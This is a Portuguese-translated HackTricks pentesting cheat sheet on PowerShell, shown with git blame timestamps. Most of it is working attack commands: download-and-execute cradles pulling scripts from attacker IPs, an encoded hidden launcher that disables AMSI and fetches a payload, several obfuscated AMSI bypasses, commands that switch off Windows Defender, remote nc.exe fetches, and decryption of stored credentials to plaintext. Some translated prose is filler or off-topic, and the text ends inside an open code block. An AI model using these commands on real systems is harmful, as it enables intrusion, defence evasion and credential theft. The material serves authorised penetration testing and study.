hacktricks/windows-hardening/basic-powershell-for-pentesters/README.md

477 lines
37 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
## Localizações padrão do PowerShell
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
O PowerShell é uma ferramenta poderosa para pentesters que desejam automatizar tarefas em sistemas Windows. Aqui estão algumas das localizações padrão do PowerShell em sistemas Windows:
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- `%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe`
- `%SystemRoot%\syswow64\WindowsPowerShell\v1.0\powershell.exe` (para sistemas de 64 bits)
- `%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell_ise.exe` (para o ambiente de desenvolvimento integrado do PowerShell)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
## Comandos básicos do PowerShell
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
O PowerShell tem uma sintaxe única que pode ser intimidante para iniciantes. Aqui estão alguns comandos básicos para começar:
- `Get-ChildItem`: lista os arquivos e pastas em um diretório
- `Set-Location`: muda o diretório atual
- `Get-Content`: lê o conteúdo de um arquivo
- `Set-Content`: escreve o conteúdo em um arquivo
- `Invoke-WebRequest`: faz uma solicitação HTTP
- `Select-String`: procura por uma string em um arquivo ou saída de comando
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
## Executando scripts do PowerShell
2020-08-17 14:38:36 +00:00
2023-06-06 18:56:34 +00:00
Para executar um script do PowerShell, você precisa permitir a execução de scripts não assinados. Você pode fazer isso executando o seguinte comando:
```
Set-ExecutionPolicy Unrestricted
```
Depois de permitir a execução de scripts não assinados, você pode executar um script do PowerShell com o seguinte comando:
```
.\script.ps1
```
2022-08-18 23:30:34 +00:00
```powershell
2020-08-17 14:38:36 +00:00
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
```
2023-06-06 18:56:34 +00:00
## Comandos básicos do PS para começar
2022-08-18 23:30:34 +00:00
```powershell
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
```
2023-06-06 18:56:34 +00:00
## Baixar e Executar
2022-08-18 23:30:34 +00:00
```powershell
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
2022-09-09 11:00:52 +00:00
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
```
2023-06-06 18:56:34 +00:00
### Baixar e Executar em segundo plano com Bypass AMSI
2022-08-18 23:30:34 +00:00
```powershell
2021-10-25 23:03:11 +00:00
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
```
2023-06-06 18:56:34 +00:00
### Usando b64 no Linux
2022-08-18 23:30:34 +00:00
```powershell
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
```
2022-05-29 12:54:31 +00:00
## Download
2022-05-29 12:54:31 +00:00
### System.Net.WebClient
2020-09-07 11:12:11 +00:00
2023-06-06 18:56:34 +00:00
O método `DownloadFile` da classe `System.Net.WebClient` pode ser usado para baixar arquivos da internet. O seguinte comando baixa um arquivo de uma URL e o salva em um caminho local:
```
$wc = New-Object System.Net.WebClient
$url = "https://exemplo.com/arquivo.txt"
$path = "C:\caminho\local\arquivo.txt"
$wc.DownloadFile($url, $path)
```
2022-08-18 23:30:34 +00:00
```powershell
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
```
2022-05-29 12:54:31 +00:00
### Invoke-WebRequest
2020-09-07 11:12:11 +00:00
2023-06-06 18:56:34 +00:00
O cmdlet Invoke-WebRequest é usado para enviar solicitações HTTP e HTTPS para um servidor web e retornar a resposta. Ele pode ser usado para automatizar interações com páginas da web, como preencher formulários, clicar em botões e baixar arquivos. Aqui está um exemplo simples de como usá-lo para fazer uma solicitação GET:
```
Invoke-WebRequest -Uri https://www.exemplo.com
```
Isso retornará a resposta da página da web em formato HTML. Você também pode usar o cmdlet para enviar solicitações POST e enviar dados no corpo da solicitação. Por exemplo:
```
Invoke-WebRequest -Uri https://www.exemplo.com/login -Method POST -Body @{username='user';password='pass'}
```
Isso enviará uma solicitação POST para a página de login com os dados de usuário e senha fornecidos no corpo da solicitação.
2022-08-18 23:30:34 +00:00
```powershell
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
```
2022-05-29 12:54:31 +00:00
### Wget
2020-09-07 11:12:11 +00:00
2023-06-06 18:56:34 +00:00
Wget é uma ferramenta de linha de comando usada para baixar arquivos da internet. É uma ferramenta muito útil para pentesters, pois permite baixar arquivos de um servidor remoto sem a necessidade de um navegador web. Além disso, o Wget pode ser usado para automatizar o download de arquivos em scripts e para baixar arquivos recursivamente.
2022-08-18 23:30:34 +00:00
```powershell
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
```
2022-05-29 12:54:31 +00:00
### BitsTransfer
2020-09-07 11:12:11 +00:00
2023-06-06 18:56:34 +00:00
BitsTransfer é um cmdlet do PowerShell que permite transferir arquivos entre computadores usando o protocolo Background Intelligent Transfer Service (BITS). É uma ferramenta útil para transferir grandes quantidades de dados de forma eficiente e confiável. O BitsTransfer pode ser usado para baixar arquivos de um servidor remoto, fazer upload de arquivos para um servidor remoto ou copiar arquivos entre computadores locais. Ele também suporta a retomada de transferências interrompidas e pode ser executado em segundo plano, permitindo que você continue trabalhando enquanto a transferência está em andamento.
2022-08-18 23:30:34 +00:00
```powershell
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
2022-05-29 12:54:31 +00:00
## Base64 Kali & EncodedCommand
2023-06-06 18:56:34 +00:00
Base64 é um método de codificação de dados para transferência na internet. É comumente usado para codificar dados binários em texto ASCII para que possam ser facilmente transmitidos em redes. O PowerShell tem um cmdlet chamado `ConvertTo-Base64` que pode ser usado para codificar dados em Base64.
O EncodedCommand é um parâmetro do PowerShell que permite que um comando seja codificado em Base64 e passado como uma única linha de comando. Isso pode ser útil para evitar problemas de citação ou para ocultar o comando de ferramentas de detecção de ameaças.
Para codificar um comando em Base64, use o seguinte comando no PowerShell:
```
$command = "Comando a ser codificado"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
```
Para executar um comando codificado em Base64, use o seguinte comando no PowerShell:
```
powershell.exe -EncodedCommand <comando codificado em Base64>
```
2022-08-18 23:30:34 +00:00
```powershell
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
```
2023-06-06 18:56:34 +00:00
## [Política de Execução](../authentication-credentials-uac-and-efs.md#ps-execution-policy)
2023-06-06 18:56:34 +00:00
## [Linguagem restrita](broken-reference/)
2023-06-06 18:56:34 +00:00
## [Política do AppLocker](broken-reference/)
2023-06-06 18:56:34 +00:00
## Habilitar o WinRM (PS Remoto)
2022-08-18 23:30:34 +00:00
```powershell
enable-psremoting -force #This enables winrm
2022-05-01 12:49:36 +00:00
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
```
2023-06-06 18:56:34 +00:00
## Desativar o Defender
{% code overflow="wrap" %}
2022-08-18 23:30:34 +00:00
```powershell
2022-08-12 23:51:41 +00:00
# Check status
Get-MpComputerStatus
2022-08-18 23:30:34 +00:00
Get-MpPreference | select Exclusion* | fl #Check exclusions
2022-08-12 23:51:41 +00:00
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
2022-08-12 23:51:41 +00:00
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)
2022-08-18 23:30:34 +00:00
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
```
2023-06-06 18:56:34 +00:00
### Bypass AMSI
2023-06-06 18:56:34 +00:00
O arquivo **`amsi.dll`** é **carregado** em seu processo e tem as **exportações** necessárias para qualquer aplicativo interagir. E como ele é carregado no espaço de memória de um processo que você **controla**, você pode alterar seu comportamento **sobrescrevendo instruções na memória**. Isso faz com que ele não detecte nada.
2022-05-29 12:54:31 +00:00
2023-06-06 18:56:34 +00:00
Portanto, o objetivo dos bypasses AMSI é **sobrescrever as instruções da DLL na memória para tornar a detecção inútil**.
2022-05-29 12:54:31 +00:00
2023-06-06 18:56:34 +00:00
Gerador de bypass AMSI: [**https://amsi.fail/**](https://amsi.fail/)
2022-08-18 23:30:34 +00:00
```powershell
2022-05-29 12:54:31 +00:00
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
```
2023-06-06 18:56:34 +00:00
### Bypass AMSI 2 - Hooking de Chamada de API Gerenciada
2022-05-29 12:54:31 +00:00
2023-06-06 18:56:34 +00:00
Confira [**este post para informações detalhadas**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/) **e o código**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/).
2022-12-31 17:21:45 +00:00
2023-06-06 18:56:34 +00:00
Essa nova técnica depende do hooking de chamadas de API de métodos .NET. Acontece que os métodos .NET precisam ser compilados em instruções de máquina nativas na memória, que acabam parecendo muito com métodos nativos. Esses métodos compilados podem ser hookados para alterar o fluxo de controle de um programa.
2022-12-31 17:21:45 +00:00
2023-06-06 18:56:34 +00:00
Os passos para realizar o hooking de chamada de API de métodos .NET são:
2022-12-31 17:21:45 +00:00
2023-06-06 18:56:34 +00:00
1. Identificar o método de destino para hook
2. Definir um método com o mesmo protótipo de função que o alvo
3. Usar reflexão para encontrar os métodos
4. Garantir que cada método tenha sido compilado
5. Encontrar a localização de cada método na memória
6. Sobrescrever o método de destino com instruções apontando para nosso método malicioso
2022-12-31 17:21:45 +00:00
2022-05-29 12:54:31 +00:00
## PS-History
2022-08-18 23:30:34 +00:00
```powershell
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
```
2023-06-06 18:56:34 +00:00
## Obter permissões
2022-08-18 23:30:34 +00:00
```powershell
2022-08-13 15:36:34 +00:00
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
```
2023-06-06 18:56:34 +00:00
## Versão do sistema operacional e HotFixes
2022-08-18 23:30:34 +00:00
```powershell
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
```
2023-06-06 18:56:34 +00:00
## Ambiente
2022-08-18 23:30:34 +00:00
```powershell
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value
```
2023-06-06 18:56:34 +00:00
## Outras unidades conectadas
2022-08-18 23:30:34 +00:00
```powershell
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
```
2023-06-06 18:56:34 +00:00
### Lixeira
2022-08-18 23:30:34 +00:00
```powershell
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
```
[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/)
2023-06-06 18:56:34 +00:00
## Reconhecimento de Domínio
{% content-ref url="powerview.md" %}
[powerview.md](powerview.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
## Usuários
2022-08-18 23:30:34 +00:00
```powershell
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
```
2023-06-06 18:56:34 +00:00
## String Segura para Texto Simples
2022-08-18 23:30:34 +00:00
```powershell
2020-07-27 17:54:30 +00:00
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
```
2023-06-06 18:56:34 +00:00
Ou diretamente analisando a partir do XML:
2022-08-18 23:30:34 +00:00
```powershell
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
```
2022-05-29 12:54:31 +00:00
## SUDO
2023-06-06 18:56:34 +00:00
Sudo é um comando do Linux que permite que usuários comuns executem comandos com privilégios de superusuário. Isso é útil para realizar tarefas administrativas sem precisar fazer login como root. No entanto, se o sudo for configurado incorretamente, pode permitir que usuários mal-intencionados obtenham acesso não autorizado ao sistema. É importante garantir que o sudo esteja configurado corretamente e que apenas usuários confiáveis tenham acesso a ele.
2022-08-18 23:30:34 +00:00
```powershell
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
2021-01-23 16:26:36 +00:00
#For local:
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
2020-08-17 15:37:19 +00:00
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
```
2023-06-06 18:56:34 +00:00
## Grupos
2022-08-18 23:30:34 +00:00
```powershell
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
```
2023-06-06 18:56:34 +00:00
## Área de Transferência
2022-08-18 23:30:34 +00:00
```powershell
Get-Clipboard
```
2023-06-06 18:56:34 +00:00
## Processos
2022-08-18 23:30:34 +00:00
```powershell
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
2023-06-06 18:56:34 +00:00
## Serviços
```
Get-Service
```
2023-06-06 18:56:34 +00:00
## Senha a partir de uma string segura
2022-08-18 23:30:34 +00:00
```powershell
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
```
2023-06-06 18:56:34 +00:00
## Tarefas Agendadas
2022-08-18 23:30:34 +00:00
```powershell
2020-08-17 14:38:36 +00:00
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```
2023-06-06 18:56:34 +00:00
## Rede
2022-05-29 12:54:31 +00:00
### Interfaces
2022-08-18 23:30:34 +00:00
```powershell
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```
2022-06-15 20:54:51 +00:00
### Firewall
2023-06-06 18:56:34 +00:00
Um firewall é um sistema de segurança que monitora e controla o tráfego de rede com base em regras de segurança. Ele pode ser implementado em hardware ou software e é usado para proteger uma rede contra ameaças externas, como ataques de hackers e malware. O firewall pode ser configurado para permitir ou bloquear o tráfego com base em endereços IP, portas e protocolos específicos. É uma medida de segurança importante para proteger uma rede contra ataques cibernéticos.
2022-08-18 23:30:34 +00:00
```powershell
2022-06-15 20:54:51 +00:00
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
2022-06-15 20:54:51 +00:00
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
```
2023-06-06 18:56:34 +00:00
### Rota
2022-08-18 23:30:34 +00:00
```powershell
route print
```
2022-05-29 12:54:31 +00:00
### ARP
2023-06-06 18:56:34 +00:00
O Protocolo ARP (Address Resolution Protocol) é usado para mapear um endereço IP em um endereço MAC. Isso é necessário porque os dispositivos de rede usam endereços MAC para se comunicar uns com os outros, enquanto os endereços IP são usados para roteamento na Internet. O ARP é vulnerável a ataques de envenenamento de cache, nos quais um invasor envia pacotes ARP falsificados para associar seu próprio endereço MAC a um endereço IP legítimo na tabela ARP de um dispositivo. Isso permite que o invasor intercepte e manipule o tráfego de rede. Para se proteger contra esse tipo de ataque, é recomendável usar autenticação de porta e desabilitar o ARP em portas não utilizadas.
2022-08-18 23:30:34 +00:00
```powershell
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
```
2022-05-29 12:54:31 +00:00
### Hosts
2023-06-06 18:56:34 +00:00
Hosts
2022-08-18 23:30:34 +00:00
```powershell
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
```
2022-05-29 12:54:31 +00:00
### Ping
2021-01-24 15:20:05 +00:00
2023-06-06 18:56:34 +00:00
Ping é uma ferramenta usada para testar a conectividade entre dois dispositivos em uma rede. Ele envia um pacote de dados para o dispositivo de destino e aguarda uma resposta. Se o dispositivo de destino responder, isso significa que há conectividade entre os dois dispositivos. O comando ping é frequentemente usado para testar a conectividade com um servidor ou site da web.
2022-08-18 23:30:34 +00:00
```powershell
2021-01-24 15:20:05 +00:00
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
```
2022-05-29 12:54:31 +00:00
### SNMP
2023-06-06 18:56:34 +00:00
SNMP (Simple Network Management Protocol) é um protocolo padrão para gerenciamento de dispositivos em redes IP. Ele permite que os administradores monitorem e gerenciem dispositivos de rede, como roteadores, switches, servidores e impressoras, entre outros. O SNMP funciona através de mensagens enviadas entre dispositivos de rede e um software de gerenciamento de rede centralizado. As mensagens contêm informações sobre o status do dispositivo, como uso de CPU, uso de memória e tráfego de rede. Os pentesters podem usar o SNMP para obter informações valiosas sobre a rede e os dispositivos conectados a ela.
2022-08-18 23:30:34 +00:00
```powershell
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```
2023-06-06 18:56:34 +00:00
## **Convertendo a String SDDL em um Formato Legível**
Às vezes, ao executar comandos PowerShell, você pode receber uma saída que inclui uma string SDDL (Security Descriptor Definition Language) que descreve as permissões de segurança de um objeto. Essa string pode ser difícil de ler e entender. Felizmente, o PowerShell inclui um cmdlet chamado `ConvertFrom-SDDLString` que pode converter a string SDDL em um formato legível.
Para usar o `ConvertFrom-SDDLString`, basta passar a string SDDL como entrada para o cmdlet. O cmdlet retornará um objeto que contém as informações de permissão em um formato mais fácil de ler e entender.
Por exemplo, se você tiver a seguinte string SDDL:
```
O:BAG:BAD:(A;;0x1;;;WD)(A;;0x1;;;S-1-5-21-1234567890-1234567890-1234567890-1234)
```
Você pode usar o `ConvertFrom-SDDLString` para convertê-lo em um formato legível:
```powershell
PS C:\> $sddl = "O:BAG:BAD:(A;;0x1;;;WD)(A;;0x1;;;S-1-5-21-1234567890-1234567890-1234567890-1234)"
PS C:\> ConvertFrom-SDDLString $sddl
2023-06-06 18:56:34 +00:00
Owner : BUILTIN\Administrators
Group : BUILTIN\Administrators
DACL : {BUILTIN\Everyone Allow ReadAndExecute, S-1-5-21-1234567890-1234567890-1234567890-1234 Allow ReadAndExecute}
SACL : {}
AccessRight : 0
```
2022-10-05 20:40:19 +00:00
2023-06-06 18:56:34 +00:00
Observe que o objeto retornado inclui informações sobre o proprietário, grupo, DACL (Lista de Controle de Acesso Discrecional) e SACL (Lista de Controle de Acesso do Sistema). As informações de permissão são exibidas em um formato mais fácil de ler e entender, incluindo o nome do usuário ou grupo e as permissões concedidas.
2022-10-05 20:40:19 +00:00
```powershell
